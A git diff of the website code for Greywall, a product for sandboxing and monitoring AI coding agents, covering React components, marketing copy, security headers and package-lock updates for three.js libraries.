<div className="inline-flex items-center gap-2 flex-wrap justify-center">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/stars/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614&logo=github&logoColor=white" alt="GitHub stars" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/license/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="License" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall/releases" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/v/release/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Latest release" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Go version" className="h-5" />
|
||||
</a>
|
||||
<a href="https://www.producthunt.com/products/greywall?launch=greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/badge/Product%20Hunt-Greywall-D95E2A?style=flat&logo=producthunt&logoColor=white&labelColor=161614" alt="Product Hunt" className="h-5" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, AppWindow, Terminal } from 'lucide-react'
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, Terminal } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxLayers = [
|
||||
@@ -46,7 +46,7 @@ const macosLayers = [
|
||||
icon: Shield,
|
||||
name: 'Seatbelt Sandbox',
|
||||
tag: 'Core',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
detail: 'macOS native',
|
||||
},
|
||||
{
|
||||
@@ -56,13 +56,6 @@ const macosLayers = [
|
||||
desc: 'Fine-grained read/write rules using literal paths, subpath matching, and regex patterns. Sensitive files like SSH keys and .env are always protected.',
|
||||
detail: 'Seatbelt rules',
|
||||
},
|
||||
{
|
||||
icon: AppWindow,
|
||||
name: 'Mach IPC Control',
|
||||
tag: 'IPC',
|
||||
desc: 'Allowlist of safe Mach IPC services. Prevents sandboxed processes from communicating with privileged system services outside the policy boundary.',
|
||||
detail: 'Service allowlist',
|
||||
},
|
||||
{
|
||||
icon: Terminal,
|
||||
name: 'Log Stream Monitor',
|
||||
@@ -100,7 +93,7 @@ export function Layers() {
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
: 'macOS Seatbelt blocks everything unless explicitly allowed, before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
|
||||
@@ -30,6 +30,32 @@ export function Nav() {
|
||||
>
|
||||
Compare
|
||||
</a>
|
||||
<a
|
||||
href="#about"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/hackathons"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
>
|
||||
Hackathons
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
>
|
||||
Greyscan
|
||||
</a>
|
||||
<a
|
||||
href="https://docs.greywall.io/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
>
|
||||
Docs
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
|
||||
@@ -1,8 +1,78 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import Image from 'next/image'
|
||||
import { Eye } from 'lucide-react'
|
||||
|
||||
const slides = [
|
||||
{
|
||||
label: 'Dashboard',
|
||||
src: '/dashboard.png',
|
||||
alt: 'Greywall dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
},
|
||||
{
|
||||
label: 'Pending',
|
||||
src: '/pending_requests.png',
|
||||
alt: 'Greywall pending network requests with Allow and Deny controls for each domain',
|
||||
},
|
||||
{
|
||||
label: 'Rules',
|
||||
src: '/rules.png',
|
||||
alt: 'Greywall domain rules configuration showing allow and deny policies per source',
|
||||
},
|
||||
{
|
||||
label: 'Activity',
|
||||
src: '/activity.png',
|
||||
alt: 'Greywall activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
},
|
||||
{
|
||||
label: 'Conversations',
|
||||
src: '/conversations.png',
|
||||
alt: 'Greywall conversations view showing agent interactions with tool calls and results',
|
||||
},
|
||||
]
|
||||
|
||||
const INTERVAL = 4000
|
||||
|
||||
export function Observability() {
|
||||
const [active, setActive] = useState(0)
|
||||
const [paused, setPaused] = useState(false)
|
||||
const timerRef = useRef<ReturnType<typeof setInterval> | null>(null)
|
||||
// Key to force re-mount of the progress bar so animation restarts
|
||||
const [tick, setTick] = useState(0)
|
||||
|
||||
function goTo(i: number) {
|
||||
setActive(i)
|
||||
setTick((t) => t + 1)
|
||||
resetTimer()
|
||||
}
|
||||
|
||||
function advance() {
|
||||
setActive((i) => (i + 1) % slides.length)
|
||||
setTick((t) => t + 1)
|
||||
}
|
||||
|
||||
function resetTimer() {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
if (!paused) {
|
||||
timerRef.current = setInterval(advance, INTERVAL)
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (paused) {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
return
|
||||
}
|
||||
timerRef.current = setInterval(advance, INTERVAL)
|
||||
return () => {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [paused])
|
||||
|
||||
return (
|
||||
<section id="features" className="py-24 px-6 border-t border-border/30">
|
||||
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
@@ -12,30 +82,83 @@ export function Observability() {
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
See every network connection.
|
||||
See every file access and network connection.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict which domains your agent will reach for. GreyProxy captures
|
||||
every outbound connection and lets you allow or deny them in real time, without
|
||||
restarting the session.
|
||||
You can't predict which files your agent will read or which domains it will reach
|
||||
for. Greywall learns what the agent needs on your filesystem automatically and
|
||||
captures every outbound connection, letting you adjust policies in real time
|
||||
without restarting the session.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<div className="flex items-center gap-3 mb-4">
|
||||
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||
<Eye className="h-4 w-4" />
|
||||
</div>
|
||||
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
|
||||
</div>
|
||||
<div className="rounded-lg border border-border/40 overflow-hidden bg-card/30">
|
||||
<img
|
||||
src="/greyproxy.png"
|
||||
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
|
||||
className="w-full h-auto"
|
||||
<div
|
||||
className="mx-auto max-w-3xl"
|
||||
onMouseEnter={() => setPaused(true)}
|
||||
onMouseLeave={() => setPaused(false)}
|
||||
>
|
||||
{/* Screenshot with crossfade */}
|
||||
<div className="relative rounded-lg border border-border/40 overflow-hidden bg-white">
|
||||
{/* Hidden reference image to lock container height */}
|
||||
<Image
|
||||
src={slides[0].src}
|
||||
alt=""
|
||||
aria-hidden="true"
|
||||
width={2480}
|
||||
height={1810}
|
||||
className="w-full h-auto invisible"
|
||||
priority
|
||||
/>
|
||||
{slides.map((slide, i) => (
|
||||
<Image
|
||||
key={slide.label}
|
||||
src={slide.src}
|
||||
alt={slide.alt}
|
||||
width={2480}
|
||||
height={1810}
|
||||
className={`absolute inset-0 w-full h-full object-contain object-top transition-opacity duration-700 ${
|
||||
i === active ? 'opacity-100' : 'opacity-0'
|
||||
}`}
|
||||
priority={i === 0}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-4">
|
||||
|
||||
{/* Progress indicators + labels */}
|
||||
<div className="flex items-center justify-center gap-4 mt-5">
|
||||
{slides.map((slide, i) => (
|
||||
<button
|
||||
key={slide.label}
|
||||
onClick={() => goTo(i)}
|
||||
className="flex items-center gap-2 group"
|
||||
>
|
||||
<div className="relative h-1.5 w-8 rounded-full bg-border/50 overflow-hidden">
|
||||
{i === active ? (
|
||||
<div
|
||||
key={tick}
|
||||
className="absolute inset-y-0 left-0 rounded-full bg-primary"
|
||||
style={
|
||||
paused
|
||||
? { width: '100%' }
|
||||
: { animation: `progress ${INTERVAL}ms linear forwards` }
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<div className="absolute inset-0 rounded-full bg-transparent group-hover:bg-muted-foreground/30 transition-colors" />
|
||||
)}
|
||||
</div>
|
||||
<span
|
||||
className={`text-xs font-sans transition-colors hidden sm:inline ${
|
||||
i === active ? 'text-foreground font-medium' : 'text-muted-foreground'
|
||||
}`}
|
||||
>
|
||||
{slide.label}
|
||||
</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
||||
Every outbound request is visible. Allow trusted domains, block unknown ones,
|
||||
and adjust policies live as your agent works.
|
||||
</p>
|
||||
|
||||
@@ -1,18 +1,10 @@
|
||||
import { AlertTriangle, ShieldOff } from 'lucide-react'
|
||||
import { ShieldCheck, ShieldOff } from 'lucide-react'
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
<section className="pt-20 sm:pt-24 pb-12 sm:pb-16 px-4 sm:px-6">
|
||||
<section className="pb-12 sm:pb-16 px-4 sm:px-6">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
{/* Section 1: Stochastic risk */}
|
||||
<div className="mb-12 sm:mb-16">
|
||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-3 max-w-3xl">
|
||||
Your agent runs as <em className="italic text-primary">you</em>.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-sm sm:text-base leading-relaxed max-w-full mt-4 mb-10">
|
||||
Agents inherit your full permissions and decide what to access at runtime. Here's what that looks like...
|
||||
</p>
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||
{/* Without Greywall */}
|
||||
<div className="flex flex-col">
|
||||
@@ -58,7 +50,7 @@ export function Problem() {
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">WHY ARE THERE CHARGES ON MY STRIPE</div>
|
||||
<div className="text-greyhaven-offwhite">WHAT ARE THESE CHARGES ON MY STRIPE??? (╯°□°)╯︵ ┻━┻</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -70,7 +62,7 @@ export function Problem() {
|
||||
{/* With Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<AlertTriangle className="h-4 w-4 text-primary" />
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
With Greywall
|
||||
</span>
|
||||
@@ -111,6 +103,11 @@ export function Problem() {
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-greyhaven-offwhite">Added rate limiting. I couldn't access .env, so I used placeholder values in the tests.</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">👍 (•̀ᴗ•́) 👍</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
@@ -122,14 +119,28 @@ export function Problem() {
|
||||
|
||||
{/* Resolution: Verification creates trust */}
|
||||
<div className="text-center max-w-3xl mx-auto">
|
||||
<blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
<p className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
Run in <span className="text-primary">YOLO mode</span> without risking anything outside your project.
|
||||
</p>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-4">
|
||||
The security layer around your tools should be independent of the company selling you the AI.
|
||||
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
|
||||
what your agent touches and full <span className="text-foreground font-medium">control</span> over what it can reach.
|
||||
</p>
|
||||
<blockquote className="font-serif text-lg sm:text-xl text-muted-foreground italic mb-10">
|
||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||
</blockquote>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto">
|
||||
Greywall gives you two pillars: <span className="text-foreground font-medium">control</span> over
|
||||
what agents can reach, and <span className="text-foreground font-medium">clarity</span> into
|
||||
every operation they perform.
|
||||
</p>
|
||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||
<iframe
|
||||
src="https://www.youtube.com/embed/u7YFVGGpPRI"
|
||||
title="Greywall Demo"
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
className="absolute inset-0 w-full h-full"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
@@ -1,10 +1,6 @@
|
||||
/** @type {import('next').NextConfig} */
|
||||
const nextConfig = {
|
||||
typescript: {
|
||||
ignoreBuildErrors: true,
|
||||
},
|
||||
images: {
|
||||
unoptimized: true,
|
||||
remotePatterns: [
|
||||
{
|
||||
protocol: 'https',
|
||||
@@ -12,6 +8,19 @@ const nextConfig = {
|
||||
},
|
||||
],
|
||||
},
|
||||
async headers() {
|
||||
return [
|
||||
{
|
||||
source: '/(.*)',
|
||||
headers: [
|
||||
{ key: 'X-Frame-Options', value: 'DENY' },
|
||||
{ key: 'X-Content-Type-Options', value: 'nosniff' },
|
||||
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
|
||||
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
|
||||
],
|
||||
},
|
||||
]
|
||||
},
|
||||
}
|
||||
|
||||
export default nextConfig
|
||||
|
||||
708
package-lock.json
generated
@@ -8,6 +8,9 @@
|
||||
"name": "greywall-landing-page",
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
@@ -41,6 +45,21 @@
|
||||
"url": "https://github.com/sponsors/sindresorhus"
|
||||
}
|
||||
},
|
||||
"node_modules/@babel/runtime": {
|
||||
"version": "7.29.2",
|
||||
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
|
||||
"integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=6.9.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@dimforge/rapier3d-compat": {
|
||||
"version": "0.12.0",
|
||||
"resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz",
|
||||
"integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@emnapi/runtime": {
|
||||
"version": "1.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz",
|
||||
@@ -567,6 +586,24 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.4.14"
|
||||
}
|
||||
},
|
||||
"node_modules/@mediapipe/tasks-vision": {
|
||||
"version": "0.10.17",
|
||||
"resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz",
|
||||
"integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@monogrid/gainmap-js": {
|
||||
"version": "3.4.0",
|
||||
"resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz",
|
||||
"integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"promise-worker-transferable": "^1.0.4"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "16.0.10",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-16.0.10.tgz",
|
||||
@@ -701,6 +738,95 @@
|
||||
"node": ">= 10"
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/drei": {
|
||||
"version": "10.7.7",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-10.7.7.tgz",
|
||||
"integrity": "sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.26.0",
|
||||
"@mediapipe/tasks-vision": "0.10.17",
|
||||
"@monogrid/gainmap-js": "^3.0.6",
|
||||
"@use-gesture/react": "^10.3.1",
|
||||
"camera-controls": "^3.1.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"detect-gpu": "^5.0.56",
|
||||
"glsl-noise": "^0.0.0",
|
||||
"hls.js": "^1.5.17",
|
||||
"maath": "^0.10.8",
|
||||
"meshline": "^3.3.1",
|
||||
"stats-gl": "^2.2.8",
|
||||
"stats.js": "^0.17.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"three-mesh-bvh": "^0.8.3",
|
||||
"three-stdlib": "^2.35.6",
|
||||
"troika-three-text": "^0.52.4",
|
||||
"tunnel-rat": "^0.1.2",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"utility-types": "^3.11.0",
|
||||
"zustand": "^5.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@react-three/fiber": "^9.0.0",
|
||||
"react": "^19",
|
||||
"react-dom": "^19",
|
||||
"three": ">=0.159"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/fiber": {
|
||||
"version": "9.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.5.0.tgz",
|
||||
"integrity": "sha512-FiUzfYW4wB1+PpmsE47UM+mCads7j2+giRBltfwH7SNhah95rqJs3ltEs9V3pP8rYdS0QlNne+9Aj8dS/SiaIA==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.17.8",
|
||||
"@types/webxr": "*",
|
||||
"base64-js": "^1.5.1",
|
||||
"buffer": "^6.0.3",
|
||||
"its-fine": "^2.0.0",
|
||||
"react-use-measure": "^2.1.7",
|
||||
"scheduler": "^0.27.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"zustand": "^5.0.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"expo": ">=43.0",
|
||||
"expo-asset": ">=8.4",
|
||||
"expo-file-system": ">=11.0",
|
||||
"expo-gl": ">=11.0",
|
||||
"react": ">=19 <19.3",
|
||||
"react-dom": ">=19 <19.3",
|
||||
"react-native": ">=0.78",
|
||||
"three": ">=0.156"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"expo": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-asset": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-file-system": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-gl": {
|
||||
"optional": true
|
||||
},
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
},
|
||||
"react-native": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.15",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
|
||||
@@ -981,6 +1107,18 @@
|
||||
"tailwindcss": "4.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tweenjs/tween.js": {
|
||||
"version": "23.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
|
||||
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/draco3d": {
|
||||
"version": "1.4.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz",
|
||||
"integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/node": {
|
||||
"version": "22.19.15",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.15.tgz",
|
||||
@@ -991,11 +1129,16 @@
|
||||
"undici-types": "~6.21.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/offscreencanvas": {
|
||||
"version": "2019.7.3",
|
||||
"resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz",
|
||||
"integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/react": {
|
||||
"version": "19.2.14",
|
||||
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz",
|
||||
"integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
@@ -1012,6 +1155,133 @@
|
||||
"@types/react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/react-reconciler": {
|
||||
"version": "0.28.9",
|
||||
"resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz",
|
||||
"integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/react": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/stats.js": {
|
||||
"version": "0.17.4",
|
||||
"resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz",
|
||||
"integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/three": {
|
||||
"version": "0.183.1",
|
||||
"resolved": "https://registry.npmjs.org/@types/three/-/three-0.183.1.tgz",
|
||||
"integrity": "sha512-f2Pu5Hrepfgavttdye3PsH5RWyY/AvdZQwIVhrc4uNtvF7nOWJacQKcoVJn0S4f0yYbmAE6AR+ve7xDcuYtMGw==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@dimforge/rapier3d-compat": "~0.12.0",
|
||||
"@tweenjs/tween.js": "~23.1.3",
|
||||
"@types/stats.js": "*",
|
||||
"@types/webxr": ">=0.5.17",
|
||||
"@webgpu/types": "*",
|
||||
"fflate": "~0.8.2",
|
||||
"meshoptimizer": "~1.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/webxr": {
|
||||
"version": "0.5.24",
|
||||
"resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz",
|
||||
"integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/core": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz",
|
||||
"integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/react": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz",
|
||||
"integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@use-gesture/core": "10.3.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": ">= 16.8.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@webgpu/types": {
|
||||
"version": "0.1.69",
|
||||
"resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.69.tgz",
|
||||
"integrity": "sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==",
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/base64-js": {
|
||||
"version": "1.5.1",
|
||||
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
|
||||
"integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/bidi-js": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
|
||||
